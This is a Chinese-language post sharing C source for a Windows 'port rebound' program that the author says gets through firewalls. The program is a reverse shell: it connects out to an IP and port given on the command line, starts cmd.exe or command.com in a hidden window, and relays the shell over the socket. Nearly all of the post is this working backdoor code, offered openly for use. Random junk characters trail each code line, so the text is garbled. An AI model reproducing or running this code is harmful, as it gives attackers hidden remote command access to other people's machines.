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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]pt @  
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/* ============================== wJ}8y4O!N  
Rebound port in Windows NT @S}'_g  
By wind,2006/7 S=Zjdbd  
===============================*/ O_033&  
#include V2*b f`/V  
#include bm^ou#]|  
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#pragma comment(lib,"wsock32.lib") 4%p vw;r  
*\>7@r[%5  
void OutputShell(); *KM CU m  
SOCKET sClient; 2yNlQP8%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sbVeB%k  
+MEWAW[}^  
void main(int argc,char **argv) SE\`JGA[  
{ p`It=16trT  
WSADATA stWsaData; qxq ~9\My  
int nRet; `]Xb w^Y'x  
SOCKADDR_IN stSaiClient,stSaiServer; q7;)&_'  
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if(argc != 3) .R1)i-^  
{ uZNR]+Yu@  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5VI'hxU4Qg  
return; +VJl#sc/;  
} k3Y>QN|q8  
-Fb/GZt|  
WSAStartup(MAKEWORD(2,2),&stWsaData); y ^YrGz.  
S7V;sR"V2  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tY7u\Y;^  
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stSaiClient.sin_family = AF_INET; sx9 N8T3n  
stSaiClient.sin_port = htons(0); jN[Z mJz'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?#W>^Za=  
kn! J`"b  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T+\BX$w/4e  
{ PW}Yts7p  
printf("Bind Socket Failed!\n"); d;>:<{z@CD  
return; #2pgh?  
} sbRg=k&Ns  
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stSaiServer.sin_family = AF_INET; :Qf^@TS}O  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6D$xG"c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P~~RK& +i  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k&Sg`'LG8  
{ 'h:4 Fzo<  
printf("Connect Error!"); _PuMZjGL  
return; 2 `#|;x^<  
} J%nJO3,  
OutputShell(); X/@Gx 4  
} pgI@[zp7  
sg3%n0Ms.W  
void OutputShell() k07O.9>  
{ {r Gx*<e  
char szBuff[1024]; xH92=t-w  
SECURITY_ATTRIBUTES stSecurityAttributes; @x)z" )>  
OSVERSIONINFO stOsversionInfo; :`_wy-}V  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <)M?qkjb  
STARTUPINFO stStartupInfo; ct/I85c@P  
char *szShell; y&iLhd!p  
PROCESS_INFORMATION stProcessInformation;  X'0A"9  
unsigned long lBytesRead; >~6 ;9{@  
<{'':/tXI  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BYu|loc  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?L_#AdK  
stSecurityAttributes.lpSecurityDescriptor = 0; %bddR;c  
stSecurityAttributes.bInheritHandle = TRUE; &vLZj  
Jg7IGU(dct  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;R/=9l  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nuvz!<5\{  
Z#9{1sHEP  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]E`DG  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Am- JB  
stStartupInfo.wShowWindow = SW_HIDE; 8,%y`tUn>u  
stStartupInfo.hStdInput = hReadPipe; _wm"v19  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ak<?Eu9rV  
@mW0EJ8bb  
GetVersionEx(&stOsversionInfo);  Wkf)4!  
!I:6L7HdwB  
switch(stOsversionInfo.dwPlatformId) SMnbI .0  
{ O9!<L.X,%  
case 1: ]Dx5t&  
szShell = "command.com"; z. 7 UfLV9  
break; x *(pr5k  
default: z]tvy).  
szShell = "cmd.exe"; )\t#e`3  
break; .Yo# vV  
} .NZ_dz$c  
W(EU*~<UC  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n}a# b%e  
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send(sClient,szMsg,77,0); e=YvM g  
while(1) N-lXC"{)  
{ 8^+Q n/b_%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {<&x9<f9  
if(lBytesRead) T?Gi;ld7  
{ U%2pbGU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jMgNi@  
send(sClient,szBuff,lBytesRead,0); >:8GU f*  
} ^8B#-9Ph b  
else BoFJ8Ukq|  
{ 7HFw*;  
lBytesRead=recv(sClient,szBuff,1024,0); ,OG sx  
if(lBytesRead<=0) break; ! G,Ru~j5:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nAg|m,gA  
} Z#d_<e?  
} m/CA  
GQT|T0>Ro  
return; ,>e)8  
}
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